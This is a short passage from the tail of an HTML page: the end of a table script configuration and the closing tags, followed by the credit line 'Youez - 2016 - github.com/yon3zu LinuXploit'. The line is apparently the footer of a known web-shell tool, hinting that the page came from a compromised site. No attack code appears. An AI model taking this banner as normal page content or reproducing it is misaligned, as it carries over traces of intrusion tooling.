    'colvis'

    ]

  } );

} );

                              </script>

                            </div>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit